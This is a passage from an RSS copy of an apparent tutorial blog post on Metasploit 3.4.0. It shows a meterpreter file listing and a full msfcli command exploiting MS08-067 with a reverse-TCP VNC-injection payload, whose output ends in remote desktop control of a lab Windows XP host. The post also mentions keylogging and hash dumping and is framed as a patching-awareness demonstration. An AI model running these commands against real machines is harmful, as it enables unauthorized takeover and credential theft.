40777/rwxrwxrwx   0          dir   2010-04-09 13:14:56 +1000  RECYCLER<br />
40777/rwxrwxrwx   0          dir   2009-12-22 05:43:08 +1100  System Volume Information<br />
40777/rwxrwxrwx   0          dir   2010-04-09 13:18:19 +1000  WINDOWS<br />
100666/rw-rw-rw-  211        fil   2009-12-22 05:35:20 +1100  boot.ini<br />
100444/r&#8211;r&#8211;r&#8211;  250032     fil   2004-08-04 22:00:00 +1000  ntldr<br />
100666/rw-rw-rw-  301989888  fil   2010-06-01 02:21:17 +1000  pagefile.sys</p>
</blockquote>
<p>The power of the meterpreter is really only limited by your imagination. Keylogging, screen captures, adding accounts, dumping the hashes to be cracked offline&#8230;..</p>
<p>Now for a vnc injection.</p>
<blockquote><p>
# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E<br />
[*] Please wait while we load the module tree&#8230;<br />
[*] Started reverse handler on 192.168.56.1:4444<br />
[*] Automatically detecting the target&#8230;<br />
[*] Fingerprint: Windows XP Service Pack 2 &#8211; lang:English<br />
[*] Selected Target: Windows XP SP2 English (NX)<br />
[*] Attempting to trigger the vulnerability&#8230;<br />
[*] Sending stage (445440 bytes) to 192.168.56.101<br />
[*] Starting local TCP relay on 127.0.0.1:5900&#8230;<br />
[*] Local TCP relay started.<br />
[*] Launched vnciewer in the background.<br />
Connected to RFB server, using protocol version 3.8<br />
Enabling TightVNC protocol extensions<br />
No authentication needed<br />
Authentication successful<br />
Desktop name &#8220;snipped&#8221;<br />
VNC server default format:<br />
  32 bits per pixel.<br />
  Least significant byte first in each pixel.<br />
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br />
Using default colormap which is TrueColor.  Pixel format:<br />
  32 bits per pixel.<br />
  Least significant byte first in each pixel.<br />
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br />
Same machine: preferring raw encoding<br />
[*] VNC Server session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1062)</p>
</blockquote>
<p>This should pop up a vnc session with full desktop control of your Windows XP SP2 Host. This is a good dramatic way to show people the power of metasploit and to reinforce the need for patching to your users.</p>
<p>I did a recent demonstration to a group of corporate helpdesk operators and they were quite surprised at just how easy it can be.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/' addthis:title='Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced

Served from: www.hackertarget.com @ 2012-05-17 23:41:41 -->
